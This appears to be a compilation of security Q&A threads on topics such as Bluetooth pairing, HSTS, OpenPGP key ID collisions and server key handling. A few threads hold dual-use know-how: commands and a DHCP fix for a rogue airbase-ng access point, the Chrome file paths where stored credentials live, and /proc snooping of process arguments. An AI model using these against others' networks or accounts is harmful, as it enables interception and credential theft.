Is a no-pairing, no-password Bluetooth RFCOMM connection secure? I have programmatically established a Bluetooth RFCOMM connection between a Desktop PC (client) and a Raspberry Pi (server, Bluetooth 4.1). There is no request for password and no request for pairing during the process. I am sure the connection works because I am able to send data between them.

I am not sure the RFCOMM connection is encrypted, though. Information found on the web is either vague, or seems to qualify the security condition to only paired devices or situations where passwords are supplied. There are also hints that RFCOMM connections may be secure after all (e.g. here). I am just not sure.

Can anyone give a definite answer?

Chances are you have no resistance against man-in-the-middle attacks.

There are two standards here, Bluetooth (BT) and Bluetooth Low Energy (LE). Each has a different approach to encryption and authentication and can support multiple levels of security.

NIST has a fairly fantastic paper on Bluetooth security which I'll draw upon for my answer, since it's very comprehensive but also quite easy to follow.

BT has four security modes that a device can operate in. The details of what each mode can do are rather complex, so I'll simplify it thusly: Security Mode 1 has no authentication or encryption, Security Mode 2 enforces authentication and encryption at a per-service level but does not authenticate or encrypt the link layer, Security Mode 3 is authentication and encryption at the link later, and Security Mode 4 is a more secure version of mode 2 with multiple levels of security enforcement allowing for the selection of authentication, no authentication, or security entirely disabled for each service offered.

When authenticating, BT uses any of a number of key exchange methods. The most commonly seen is a 4-digit PIN, which is a legacy authentication mode. There is support for longer pins too, including alphanumeric entry, which provides more security. Then you've got Secure Simple Pairing (SSP) which works with Security Mode 4, allowing for authentication by PIN, password, an unauthenticated mechanism called "Just Works" (encryption but no resistance to MitM), and out-of-band (OOB) key exchange over the internet, NFC, or another channel.

LE has support for authentication, encryption, and signing, but must be put into one of two security modes. Each mode has levels controlling the type of security in use.

Security Mode 1 has the following options:

No authentication or encryption.
No authentication, but traffic is encrypted.
Authenticated pairing and traffic encryption.

Security Mode 2 has the following options:

Unauthenticated pairing with data signing.
Authenticated pairing with data signing.

Authentication is also fairly configurable. You can perform OOB authentication, which involves exchanging the temporary key over another transport mechanism (e.g. internet, NFC), or you could use PIN entry (this is very common) to generate the temporary key on each device. There's also a mechanism called "Just Works", the same as in BT, which sets the temporary key to all zeroes, which still enables transport encryption, but anyone monitoring the communications during the handshake can get the long-term key and decrypt the traffic.

RFCOMM is a service under both BT and LE, so your security depends on which protocol you're using, which security mode you're in, and which level you're using where applicable. As you mentioned that you're not pairing at all, it makes me think you're probably using LE, which isn't really designed for pairing in the same way that BT is. In either case, you're not entering a PIN or performing any kind of authentication, which means that you either have no transport encryption at all (e.g. BT Security Mode 1 or LE Security Mode 1, Level 1) or you have transport encryption enabled but on an unauthenticated key exchange (e.g. LE Security Mode 1, Level 2). In either case you can sniff the traffic with a tool such as the Ubertooth One and dump the contents.


Android devices are unable to connect to Rogue Acces point created using Airbase-ng I have created a rogue access point using airbase-ng, but I can't connect to it using my android phones (note II, S4), when I tap on the access point all I get is: Obtaining IP address...', than disconnects and it tries again and again. I would really appreciate some help, I am quite new to linux...:(

In the terminal I see the same output:

10:43:58  Created tap interface at0
10:43:58  Trying to set MTU on at0 to 1500
10:43:58  Trying to set MTU on wlan0 to 1800
10:43:58  Access Point with BSSID 7A:44:AF:F6:04:C8 started.
10:46:03  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"
10:46:13  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"
10:46:23  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"
10:46:34  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"
10:46:49  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"
10:46:49  Client 5C:F8:A1:40:5F:F0 associated (unencrypted) to ESSID: "default"

steps I am doing:

1.) create the fake WiFi access point using airbase-n:

airbase-ng  wlan0

2.) alocating IP and Subnet:

ifconfig at0 192.168.1.1 netmask 255.255.255.0
ifconfig add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

3.) start DHCP server

service isc-dhcp-server start

my dhcpd.conf contains the following:

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.5.0 netmask 255.255.255.0
{
        option subnet-mask 255.255.255.0;
        option broadcast-address 192.168.5.255;
        option routers 192.168.5.1;
        option domain-name-servers 8.8.8.8;
        range 192.168.5.1 192.168.5.100;
}

systemctl status isc-dhcp-server.service tells the following:

    isc-dhcp-server.service - LSB: DHCP server
   Loaded: loaded (/etc/init.d/isc-dhcp-server; bad; vendor preset: enabled)
   Active: failed (Result: exit-code) since Thu 2016-03-03 12:32:51 EET; 5s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 3803 ExecStart=/etc/init.d/isc-dhcp-server start (code=exited, status=1/FAILURE)

Mar 03 12:32:49 kali dhcpd[3813]: ** Ignoring requests on wlan1.  If this is not what
Mar 03 12:32:49 kali dhcpd[3813]:    you want, please write a subnet declaration
Mar 03 12:32:49 kali dhcpd[3813]:    in your dhcpd.conf file for the network segment
Mar 03 12:32:49 kali dhcpd[3813]:    to which interface wlan1 is attached. **
Mar 03 12:32:51 kali isc-dhcp-server[3803]: Starting ISC DHCPv4 server: dhcpdcheck syslog for diagnostics. ... failed!
Mar 03 12:32:51 kali isc-dhcp-server[3803]: failed!
Mar 03 12:32:51 kali systemd[1]: isc-dhcp-server.service: Control process exited, code=exited status=1
Mar 03 12:32:51 kali systemd[1]: Failed to start LSB: DHCP server.
Mar 03 12:32:51 kali systemd[1]: isc-dhcp-server.service: Unit entered failed state.
Mar 03 12:32:51 kali systemd[1]: isc-dhcp-server.service: Failed with result 'exit-code'.

interfaces:

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 10.152.187.1
    netmask 255.255.255.0

auto wlan1
  iface wlan1 inet static
    address 192.168.1.0
    netmask 255.255.255.0

The answer is right in the logs:

Mar 03 12:32:49 kali dhcpd[3813]: ** Ignoring requests on wlan1.  If this is not what
Mar 03 12:32:49 kali dhcpd[3813]:    you want, please write a subnet declaration
Mar 03 12:32:49 kali dhcpd[3813]:    in your dhcpd.conf file for the network segment
Mar 03 12:32:49 kali dhcpd[3813]:    to which interface wlan1 is attached. **

Your wlan1 interface is on 192.168.1.0 network, and you are trying to start a DHCP server on 192.168.5.0. Change that and it will work.

You are learning Linux, so remember this: ALWAYS read the logs. They will (usually) tell you what is wrong, what was expected and what you should change.


What are security risks of serving user uploaded files without Content-Disposition? Imagine a server that serves untrusted user-provided files and allows other users to download them. Under some circumstances server can be tricked to return responses to download file requests without Content-Disposition header (i.e. files are shown in browser's window inlined)

However, other measures of security hygiene are still in place:

Files are served at another domain than the main site's content
Correct Content-Type and X-Content-Type-Options:nosniff exist

What are security risks of returning responses without Content-Disposition header?

Depends what filetypes are allowed to be uploaded and how the files are being handled.

If the page is directly loaded, the file ends in .php and the webserver recognizes and executes PHP files, then you risk having the entire domain compromised.
A smaller issue is that an html file may be a phishing page, sending any results to a server controlled by the attacker (cross-domain posting via javascript may not be possible, but you can make any cross-domain request through (visible or invisible) forms). The domain and perhaps even HTTPS certificate clearly shows that it is on your domain or a subdomain (unless you use a completely different domain), and thus the user might think that the page is trustworthy.
And perhaps other things that don't come to mind right now.


What attack vectors does AWS SSE-S3 help mitigate? Reading into the various SSE options on S3, I'm can't understand the following:

What exactly does the SSE-S3 (fully-managed, transparent at-rest encryption) protect you against?

I can only think of a physical attack vector, where someone physically gets the HDDs used for S3 storage. In that case, why is this encryption optional? Shouldn't it be a mandatory default, handled by AWS entirely for their own purposes?

In other words, what are the attack vectors that this particular solution helps to mitigate?

Thank you!

A number of regulated industries require Encryption at Rest to be compliant with relevant standards (PCI-DSS, HIPPA, etc), so this is providing this tick box.

The attack vectors that this is preventing is anyone with either physical access to the hard-drive, or (if designed correctly) root access to the machine storing the S3 data, from being able to read the data.

As for mandatory by default, AWS does not know the sensitivity of what you are storing. It could be national secrets, or it could be a public readable copy of the compleat works of william shakespeare (out of copyright material). Why should they pay the CPU cost of encrypting/decrypting Romeo and Juliet when it is a public bucket?


Why is my answer to this security exam prep question incorrect? I'm studying for a security exam and am confused by one of the chapter review questions in the book I'm using.  It reads:

  When scanning a network via a hardline connection to a wired-switch
  NIC in promiscuous mode, what would be the extent of network traffic
  you would expect to see?

  A. Entire network.
    B. VLAN you are attached to.
    C. All nodes attached to the same port.
  D. None

My chosen answer was D. According to the book, the correct answer is C with the following explanation:

  Because each switchport is its own collision domain, only nodes that reside on the same switchport will be seen during a scan.

While I agree that each port on a switch becomes its own separate collision domain (in the case of half-duplex connectivity), I don't see how multiple nodes can be attached to "the same port".  Wouldn't this be physically unlikely (if not impossible)?

I checked with the book publisher but didn't see any additional clarification or errata notes.  What am I missing here?

A switch does not map just one MAC address per port. Multiple nodes can connect to a second hub or switch, which will be connected to the first switch on a single port.

An eavesdropper listening on that port can potentially listen to the network traffic of all hosts connected to the second network device whose destination is a host on the first switch.


Help - Somebody stole my OpenPGP key ID, what can I do? I received a key transition statement because somebody found himself in the exact same situation described here. This issue will target more and more OpenPGP users in future, probably even all of them. Instead of only replying in a private message, posting it as a Q&A seems more reasonable.

Somebody wants to attack me, and hijacked my OpenPGP Key ID. When I'm searching for my short key ID 0xDEADBEEF on the key servers, apart from my own key multiple others are found.

How did this happen? What can I do about this? Do I have to revoke my key?

OpenPGP Short Key IDs are Weak

  How did this happen?

OpenPGP short key IDs are much too small to provide a reasonable security against collision attacks. There are as few as 2^32 different short key IDs, which is less than 5 billion.

Generating such a large number of keys would require lots of time. But, the key ID is calculated from the OpenPGP public key (eg., the RSA public key) and the key generation time (as a unix timestamp, thus the number of seconds since 1970-01-01). This allows to reduce the number of keys to generate by orders of magnitude.

Using a rather simple computer program, one can easily generate key pairs, and then iterate over all reasonable key creation time values. Lets assume a reasonable period of the last five years, this means 150 million different key IDs. A probably somewhat under-estimate (dividing the number of possible short key IDs by the number of key IDs per generated key) which does not take into account that we also will have duplicate key IDs within the generated set assumes you only need to generate less than 30 "real" keys, which is a matter of seconds or minutes.

The OHM 2013 talk Trolling the Web of Trust by Micah Lee presented this flaw and some example implementation on how to exploit it. Richard Klafter and Eric Swanson used this technique to replicate the full strong set (the largest set of keys completely connected to each other, with other words most of the set of active OpenPGP users that did mutual key signing with others) including certifications and published it on a (non synchronizing) key server.

It is only a matter of time until somebody will copy the "faked" web of trust to the "real key servers", or simply generate his own "copy".

I provided a little bit longer explanation in What is an OpenPGP Key ID collision?, especially discussing the different OpenPGP key ID types and how they're related.

Don't use Short Key IDs

  What can I do about this?

This attack does not only struck your key, but possibly every single one. Generating collisions does not require (much) special knowledge nor specific hardware, every "power user" will be able to generate collisions on commodity machines after reading up for a short time.

The only way out of this is to stop using short key IDs, especially when no subsequent fingerprint validation is performed. Thus:

Whenever referring to your OpenPGP key - say on business cards or your mail signature - indicate your long key ID (64 bits, or 16 hex digits), or even better the full fingerprint.
Never give trust to a short key ID. If you use one to fetch somebody's key, verify against the long key or fingerprint instead (if you're tired of typing the long key ID, but it's only eight digits more!).
Tell about the problem. Refuse snippets/business cards/documents only containing the short key ID. Make people aware! This is a great point in time to educate over the web of trust in general, in my experience lots of OpenPGP users didn't completely get the basics of verifying validity of keys.

  Do I have to revoke my key?

Revoking your OpenPGP key will not help you, an attacker will be able to recreate a new colliding OpenPGP key within seconds or minutes. Rather keep your reputation (certifications) in the web of trust, and make sure to extend it!


Password checking process for common websites This will seem like a very basic question, but I wanted to make sure I don't miss something.

When you enter your password in a login page and you press enter, what exactly happens right after until you're "approved"? I mean in common/regular websites.

I know some websites like Password managers, secure email providers etc. will generate the hash directly from your computer and send the hash to the server, never send your password.

However, for common/regular website my understanding is that the password in clear will be sent to the server. Whether the connection is encrypted in TLS(/HTTPS) or not is not an issue here, my concerns are about the server only.

When the password in clear arrives at the server, the server will compute its hash and compare it to its hash database. At this point it doesn't matter what hash algorithm is being used (bcrypt, sha-256, with salt or no salt, this is not the debate here).

1) Can you confirm this is the regular process in 2020?

2) What "mechanism" can make sure for us on the client side that the server will erase the password in clear from all types of memory right after it's computed its hash? Is this mechanism called "trust" or is there something to answer that concern?

Can you confirm this is the regular process in 2020?

It depends on what you mean with "regular" process. It is considered state-of-the-art for most use cases and recommended by established security standards and guidelines.

This doesn't mean that everyone is following best practices and you can see different protocols in the wild. Based on my experience, most established website use a similar scheme to what you have described.

What "mechanism" can make sure for us on the client side that the server will erase the password in clear from all types of memory right after it's computed its hash? Is this mechanism called "trust" or is there something to answer that concern?

"Trust" is a good answer for that. There is no reasonable technical way to prove that the server erased something. If the server component is open source, you can look at the implementation and trust, that the server is running the same code without modification. A company can also show evidence of a independent security audit that was passed. But again, this is an review that was performed at one point in time and does not allow you to deduce what has changed since.

Long story short, it comes down to trust. But why should the owner of the web server intentionally weaken its level of security? There is nothing to gain from an insecure implementation, so it is mostly trust in the requirements engineers and the developers that they know what they are doing.


Is there a standard for determining if a secret key / hash is secure? What is the basis for a certain algorithm being declared secure/broken?
Is there a standard like below?
*I understand that there are certain unique flaws such as collisions based on which algorithm is used.

time to compute single = T
conditions = C
number of possibilities = N
Min time required = M

Given C: T * N > M

For passwords, for example, it is common to calculate the time needed to brute force all possibilities.

The time taken also depends on the hardware used. Brute forcing scales very well and by investing more in hardware the time to crack a password can be reduced. Typically, top of the line consumer hardware is used to calculate the time, but the scrypt paper for example takes a reverse approach; it lists the costs of a machine while limiting the time:

This does not really indicate the overal security, as it only assumes a brute force attack. The security of an algorithm may be compromised in other ways. This is usually notated by the reduction in work needed to perform some action. For example, to calculate a MD5 to match another MD5, 2128 computations are normally needed. With a certain preimage attack, only 2123.4 calculations are needed.


Can CVE-2015-4852 be exploited against WebLogic servers after a load balancer? I have Java applications served by Oracle WebLogic servers that are after a load balancer. The WebLogic t3 protocol (vulnerable) is not tunneled to the WebLogic servers, only the HTTP requests.

In this scenario, can my Java applications server by the WebLogic servers be exploited using CVE-2015-4852 (Java serialization/deserialization vulnerabilities)?

The vulnerability is critical (pre-auth RCE). You can find more information here:

http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html?evite=WWSU12091612MPP001

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

Ok, Let's get to the point: vulnerability CVE-2015-4852 is not about the T3 protocol. The problem lies in the serialization/deserialization routines used by WebLogic and the underlying libraries that compose the java classpath.

So, just to make a few points clear:

The T3 protocol is cited because it is a point of entrance to
user-provided serialized data.
WebLogic is cited because it comes bundled with the affected Apache Commons
library and it is loaded in the classpath when WebLogic is run. It needs to be updated so that the affected bundled library can be updated too. Or you could update it yourself.
The real problem lies within the Apache Commons library itself.

Therefore answering to your question, yes, your application still might be affected by deserialization vulnerabilities if the attacker is able to find somewhere else to enter serialized malicious data. Some Java applications rely heavily in serialization. Lots of them also send it through HTTP/S connections being base64-encoded or with some other type of encoding. Java JSP applications also make use of Viewstates (base64'd too, although it uses a structure that differs from ASP.NET Viewstates).

I've even seen Oracle's HCM (Human Capital Management) module use base64-encoded serialization to define a page title (yes, i was able to change it to whatever i wanted, but by the time a examined it, i wasn't much aware of the inner workings of deserialization flaws)

UPDATE:

There has been some development on this issue. Not in this CVE itself, but some folks found out that there are more libraries (very common ones also) that are vulnerable to the whole serialization/deserialization matter.

http://www.theregister.co.uk/2015/12/07/java_deserialisation_research_library_vulnerable/


what are the current best practices for key generation What is the difference between these openssl commands:

"openssl genrsa"
"openssl genpkey"
"openssl req -newkey rsa:bits [everything else]"

Which one should I be using when preparing a new CSR?

The key generation code is the same in all three cases anyway. This is just a matter of command-line interface.

For most usages, I recommend generating the private key with req because then that's only one command line to generate the key and the certificate request. All other things being equal, less complexity makes for more security.


Creating a Plugin for TOR Browser Bundle I am writing a plugin for Firefox to evaluate the security of a web page. If I write this for Firefox, will it be able to be ported into the TOR browser?

Is it advisble to run plugins in the TOR browser?

Cheers,

It is recommended that you run the Tor browser with the default settings to prevent browser fingerprinting. Tor even warns you when you change the browser's window size. Installing browser extensions is certainly inadvisable.


Use specific subkeys without master key on different device using GPG On my main machine I use a specific gpg key (obviously). I use the unix pass password store to manage my passwords which are encrypted using this key. The store is pushed to a git repository. Now on my android device I use Password Store and OpenKeyChain to use my passwords.

What I would like to do is to only import subkeys in my android device without the master key so that when the device gets lost or stolen I do not need to revoke the master key and all associated subkeys.

Is this actually possible and if yes how would the procedure be?

pass and android password store use the gpg command behind the scenes, which means that a pure GnuPG solution is good enough, i.e. you can use the gpg command and both progrmas will simply pick up the keys.

Yet as of open keychain I have trouble to find whether it can import subkeys only.  I need to argue that their github (and code) documentation is pretty poor but, I believe, that ui.adapte.ImportKeyAdapter.java can import a GnuPG export (you will need to try it, I do not have an android phone).

Now I assume that you create subkeys by (or equivalent):

$ gpg --edit-key <your key>
gpg> addkey

For example I have a couple of subkeys:

$ gpg -K 040E2771C840C4F6
sec   2048R/040E2771C840C4F6 2014-08-21
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
ssb   2048R/C82957C790BA249B 2014-08-21
ssb   2048R/714F28317A0ACBDA 2015-02-15
ssb   2048R/780D6F342D47A4E2 2016-02-15
ssb   2048R/144EA814AC84FD73 2016-02-15

When I perform an export of subkeys only:

gpg -a -o subkeys --export-secret-subkeys 040E2771C840C4F6

I can then copy subkeys to another machine and import it:

gpg --import subkeys

When I list my key on this machine it shows a # next to the master key.  It is GnuPG's way of telling you that the secret key is not really there.

$ gpg -K 040E2771C840C4F6
sec#  2048R/040E2771C840C4F6 2014-08-21
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
ssb   2048R/C82957C790BA249B 2014-08-21 [expires: 2016-02-15]
ssb   2048R/714F28317A0ACBDA 2015-02-15 [expires: 2016-02-15]
ssb   2048R/780D6F342D47A4E2 2016-02-15 [expires: 2019-02-14]
ssb   2048R/144EA814AC84FD73 2016-02-15 [expires: 2019-02-14]

The extra reading is Debian's page about subkeys, it describes the process in much more detail.  Yet, that page argues that you can export all secret keys, copy the file and then delete the master key on the device itself.  That is possible, but I'll advise against it.  A phone often implements storage in a similar fashion to solid state technology, which makes the file with your master key recoverable to a determined attacker.


Can enforcing a website to serve SSL requests only prevent SSLstrip from working? I understand running a website with HSTS can help prevent an attacker using KRACK to downgrade the website to serve HTTP requests.

What if our web server does not support HSTS?

IIS has a setting for a website where it can require SSL requests only.

Will that be sufficient enough to prevent the attacker from using SSLstrip to downgrade HTTPS to HTTP?  I would assume the webserver will fail to serve non HTTPS traffic, correct?

Will that be sufficient enough to prevent the attacker from using SSLstrip to downgrade HTTPS to HTTP?

No.

  I would assume the webserver will fail to serve non HTTPS traffic, correct?

No.

The MitM will speak https with your server and http with the client.

The only real defense against sslstrip is HSTS.

According to https://www.tbs-certificates.co.uk/FAQ/en/hsts-iis.html you can set-up HSTS with IIS with the "Add Custom HTTP Response Header" dialog.

Note: HSTS is only active after a first successful https visits. To protect the first visit, you can use the preload mechanism: https://hstspreload.org/ but be careful, it's can't be disabled after!


Where do browsers store HTTP Authentication details Where do browsers store HTTP Authentication credentials ? If I gain access to a browser, is there some place I can look where all HTTP Authentication details would be available?
In most browsers, even after clearing all history, the credentials are not cleared. Only on closing the browser are these credentials cleared.
Is there a valid usability reason behind not deleting them? Isn't this a security flaw from the browser's perspective ?

Interesting questions indeed, but the answer will vary depending on the design, implementation, and protocols the browser you're talking about was built in compliance with.

Let's take some real examples of Google Chrome:

Chrome stores login credential data-base under C:\Users\<username>\Appdata\Local\Google\Chrome\User Data\Default\Web Data
It also stores several sensitive user data under C:\Users\<username>\Appdata\Local\Google\Chrome\User Data\Default
Read more about Chrome Security issues here.

For other browsers this can also be true. Example: Extracting sessions passwords from RAM (aka: Memory forensics). There are many tools to help you with that.

Some people may argue that this is not a serious security issue, because it is assumed that you protect your user account and the operating system that hosts your browser.


Security of Data and Source Code in a 3rd Party Hosting Environment What expectation should I have for the security of my data and codebase hosted with a 3rd party e.g. godaddy, or any other similar hosting provider.

How common is it that some IT employee within the hosting provider would/could grab the codebase and database and look through it, or worse, post it online etc?

It would seem that a very high percentage of all websites (and their data) are hosted with/entrusted to some 3rd party provider. However, I see very little talk around the security of that scenario.

What can be done to protect data and source code (from a prevention perspective) against this type of breach if it must be hosted externally?

The security and privacy of your data is something you establish in your contract with the hosting provider.  You decide what needs to be kept secret and from whom, you establish penalties for violations of this trust, and you establish an arbitration method to resolve disputes.  During contract negotiations, your hosting provider is free to accept your terms or to reject them.  Once the contract is signed, it's up to them to live by those terms.

You can also always seek an insurance policy to help protect you in case of a violation, but those probably will not be cheap.

It's hard to determine whether or not a specific hosting provider has a good track record, as those would be resolved in contract arbitration with their clients, and not part of the public record.  You can look at the overall state of violations by browsing a third party's analysis, such as the Verizon Data Breach Report, but the aggregate numbers won't identify specific violators.


Are there any security benefits in deleting the private key of a https webserver after starting it? Say you have a web server offering pages via HTTPS. After the process begins running, if you were to delete the private key, would this prevent private key recovery in case of server compromise? Assuming an attacker gains privileged access, wouldn't a memory scraper be able to recover the private key?

Is this design just a bad example of security through obscurity ?

Not worth it.
I understand that question to mean: "If I store the private key in RAM only, does this help security?"
Maybe. But this spells deployment hell.
I imagine this situation is similar to a server where you have to be physically present for reboot. Like with a boot-password. This is very unpractical. What you gain from this model is resistance against offline attack. Like if someone walks away with the server. You may actually want to defend against this if you don't really trust the server's physical security. But the more traditional way of defending against offline attacks would be full-disk-encryption.
If you want an unextractable private key, then you should look at buying an HSM. (The cheapest one I know is the $500 YubiHSM.) Or store the Keys off-server somehow, maybe in the way CloudFlare Keyless SSL works.
The advantage of these solutions is that Online attacks also no longer work. You can not extract the private key from RAM anymore, either. (And AFAIK private keys are one of the easier needles to find in the RAM haystack if you already have root on the box. Link: ErrataSec, Link: HeartLeech, Link: SecSe.)


Fuzzing and its impact on testing environment I asked this question on StackOverflow but got no answers so I thought that I would try my luck here since fuzzing is closely related to security and often used in vulnerability assessment tests.

I'm currently writing a fuzzer that will generate a payload based on a custom specification format.

All is fine and I'm happy with the first version I wrote but I encountered an issue when trying to apply this fuzzer to a task that wasn't my initial use case.

The issue is related to how the fuzzer's input will affect the testing environment.

E.g:

If the tested method constructs a buffer with variable size what would happen if the generated value is 2^64 and would trigger an out-of-memory (OOM) error?
If the test method removes a file specified by a variable filename what would happen if the generated value is * and the whole directory would be deleted?

Of course these are just some naive examples but the point is that I'm trying to find a way to reduce the consequences of fuzzing on the test environment (while still remaining portable if possible).

This would make the fuzzer safer to use but also more fluent because fuzz test cases could be easily chained and run in parallel without breaking or corrupting the environment every other payload.

There are some radical solutions like:

not using fuzzing on methods that could have critical side effects and consequences
black-listing / white-listing certain inputs in certain use cases

Both would be really limiting in my opinion and make it difficult to use the fuzzer generically on black-box fuzz testing.

Other possible solutions like:

running tests in a headless VM like Vagrant
running tests in a Linux container like Docker
intercepting certain syscalls like I/O calls and sanitize their input

are valid but all suffer of the issue that they are very high-level.
Syscalls and Docker also have the problem of not being very portable.

How do more professional / enterprise fuzzers handle this issue ?

I would imagine that black-box testing software probably solved this issue in a portable way, didn't it?

Any testing, not just fuzzing, should be performed in some sort of sandbox (eg. a virtual machine).  This has two main benefits: 1) you can quickly reset things to a known configuration, and 2) bugs (such as a runaway recursive deletion that includes .. in the list of directories) can't harm important data.


Protect sensitive information in a password-free, shared database I'm working on a webserver that stores resources  in Redis. To make swarm-deployments as hassle-free as possible, I'm implementing an option where the server doesn't need to access the filesystem to fetch operational data.

The Redis communication protocol is clear-text. That is OK because most assets are not sensitive, and the user is not expected to make the Redis swarm accessible from the Internet. Except for TLS certificate private keys, which also need to be stored in the Redis database. If an attacker gains access to any of the stations in the private subnet with access to the Redis swarm, she wouldn't need anything else to connect to Redis and fetch said key.

So my first idea for a solution was to encrypt the TLS certificate key before storing it. But then I need to provide each process in  my swarm with the symmetric encryption key. Now, apparently, it is not safe to provide that symmetric encryption key via command line parameters. For example, if I do:

$ cat /proc/6630/status
...
Uid:    0   0   0   0
...

and then

$ cat /proc/6630/cmdline
/sbin/dhclient-d-sf/usr/lib/NetworkManager/nm-dhcp-client.action-pf/run/sendsigs.omit.d/network-manager.dhclient-eth0.pid-lf/var/lib/NetworkManager/dhclient-90380716-3851-4c0f-98c5-aaf16acdc395-eth0.lease-cf/var/lib/NetworkManager/dhclient-eth0.confeth0

from a regular account, I see that a user with minimum privileges is perfectly able to snoop command-line parameters of processes started by any other user, e.g., root. So, using a command-line parameter is still not good enough.

So I have option 2: to store the private key in a protected location in the filesystem. This one choice defeats my intention of having the server to not access the filesystem. And option 3, to store part of the symmetric encryption key in the web server binary itself and give people a way to personalize the key fragment. At least in theory, with option 3 an attacker would need to be logged in a station running the web server, and have enough privileges to read the binary of the web server itself. This is equivalent to the status quo situation today where the private key is stored in a protected file in the server.

Option 4 is to put the symmetric key in an environment variable, apparently that's safer:

$ cat /proc/6630/environ
cat: /proc/6630/environ: Permission denied

Is there a way to avoid leaks of the key through /proc/<PID>/cmdline in scenario 1? In scenario 4, is there a way in which the environment of a process can leak that I didn't account for? And finally, is there any other obvious design choice that I didn't take into account?

Do not use environment vars because of the scripts your webserver is hosting can be vulnerable AND you can't controll them all(scripts). Any script compromised - and it's no problem to dump the whole environment.
My suggestion is to use a ControlPort with authentication and telnet-like protocol for on-flight configuration of a newly-spawned instance. Spawn-and-config, providing a key in runtime config. And take a look at LDAP, by the way - it's a proper storage for certificates IMHO


How should I approach my security team regarding aggressive group policies (VBA / macro blocking)? My security organization has responded to the threat of macro-based viruses by changing all copies of Excel to no longer run macros/VBA scripts.  Through some quick research, it looks like there are many valid alternatives to the "brute orce" approach.  From my limited understanding, we could:

Establish a trusted location
Use the Office 2016 option to block macros in Internet sourced files
Block other Office applications than Excel
Establish an access group that has permissions to run macros
As above, but with permissions to run certified macros (and then certify the macro(s) needed)

All of these seem like worthwhile ways of letting our group continue working and I'm hoping the conversation will go well.

As security professionals yourselves, how would you wish a customer/user would present and participate in this discussion?  Thanks very much in advance.

Make sure they understand that you are aware of the Risks of enabling macro's even if its for a select group. Then explain them for who and why enabling marco's would improve [insert your reason] (for example productivity). Then you can always suggest one of the options you listed above, however I would suggest you only come up with these solutions if they responded well to the conversation above.

I always take users way more serious when they explain that they understand the risks, explain why it is needed and suggest possible solutions

probably this reply belongs in the comments, so if someone can move it


Is there a loss of entropy by hashing an N-bit random key to produce an N-bit hash? I read the following piece of code:

dd if=/dev/urandom bs=16 count=1 2>/dev/null | md5sum

Apparently, this code was used as a trick to produce a hex string key from a 128-bit binary pseudo-random value.

Someone here claimed this is inherently insecure since it passes a cryptographically secure random value through an "insecure hash function".

On my side, I would say the collision flaws in md5 are irrelevant here since the hash function input and output have the same size. And so, the hash function output is as random as its input.

What's your opinion about that? Does hashing an N-bit random key to produce an N-bits hash change the randomness of the key?

Hashing is a deterministic process which means that it can never increase the randomness. But of course it can decrease the randomness: if you hash a 200 bit random value with some hash algorithms which only outputs 160 bits (like SHA-1) then of course the resulting value can never have 200 bits randomness.

But as long as the number of input bits is significantly lower than the output size of the hash it will not reduce the randomness, providing a cryptographic hash is used. If the input size is exactly the same as the input size as in your example the resulting randomness is likely not significantly decreased when using a cryptographic hash. And you are right that collision resistance does not matter for this.


Why can I reach my router inside a VPN? I use a third party VPN service. I tried visiting 192.168.1.1 and I'm still able to reach it. Is that subnet routed around the VPN? Why am I able to reach it?

Most likely you are able to reach it because 192.168.x.x or 192.168.1.x is your local network. This means the IP addresses within this range are accessible directly, and there is no need to use the default gateway.

You can use "route -n" on Linux to see the route map (on Windows I think it is "route print" but I can't check it now).


Secure android and server calls I plan on adding an authentication system on my android app using web services.

When my app calls the server using a POST call how can i secure the client can't find the URL and try to do his own posts and use this against my server?

You must use the secured HTTP connection i.e. HTTPS. I don't have working example but have a look at the classes under the package  javax.net.ssl.*.
Here I believe the server already supports it. If this is not the case then you have to get the server to supports it.


Should every SAML identity provider provide a unique public certificate to the service provider? When accepting public keys from someone setting up an identity provider for access to resources protected by a service provider using SAML 2.0, do you absolutely need to have a unique certificate? Is this covered in the SAML specifications?

If they don't, I assume that use of certificates as a layer of defense is rendered void. An example might be someone setting up a test IdP and reusing the certificate for production.

It is not specified that the certificates for two idps must be unique. As far as I know you dont even have to have a certificate. But its recommended.


Encryption for home ethernet? I recently had my home wired for gigabit ethernet, which is awesome, but left me with a short ethernet run that is actually outside the walls of my house.  How can I secure this link against someone splicing in?  Ideally I'd like to attach something to each end of the cat6 run that encrypts traffic in a way that is transparent to the other devices on the network, but am interested in software solutions as well (as long as they perform well and aren't too onerous to set up).

Once in a while, when entering or leaving the house, look to see if anyone has spliced into the cable.  If the cable looks OK, you're good.

This has no set-up requirements at all, and zero impact on your network speed.


Restrict cipher suites within specific protocol versions I need to disable the weak ciphers within a weak protocol version, namely TLS1.0, on a windows server 2012 R2 running IIS. I understand that cipher suites are tied to protocol, i.e. TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384 would be specific to TLS. I am able to disable the cipher suite in regedit, but I am unable to do so only for TLS version 1.0.

Context

Part of my hardening of IIS8.5 requires the disabling of TLS1.0, which unfortunately I cannot do so due to business requirements (client machines that I do not have control over do not have TLS1.2 enabled). The next best alternative would be to disable the as many ciphers for TLS1.0 that business don't require.

Can anyone shed some light?

Reference tables from Wiki:

While it would be in theory possible for an TLS stack to offer the configuration you like the common TLS stacks don't allow this. They let you limit the protocol version and they let you limit the ciphers but they don't let you limit the ciphers for a specific protocol version only.

  The next best workaround would be to disable the weak ciphers for TLS1.0.

If a cipher is weak you should disable it for all protocol versions, not only for TLS 1.0. I don't know if any cipher which is considered weak with TLS 1.0 but is considered strong with TLS 1.2.


What attacking vectors does "background-image" have I have a web application that loads an image by URL and shows it with the style-tag (background-image). Users can link their image.

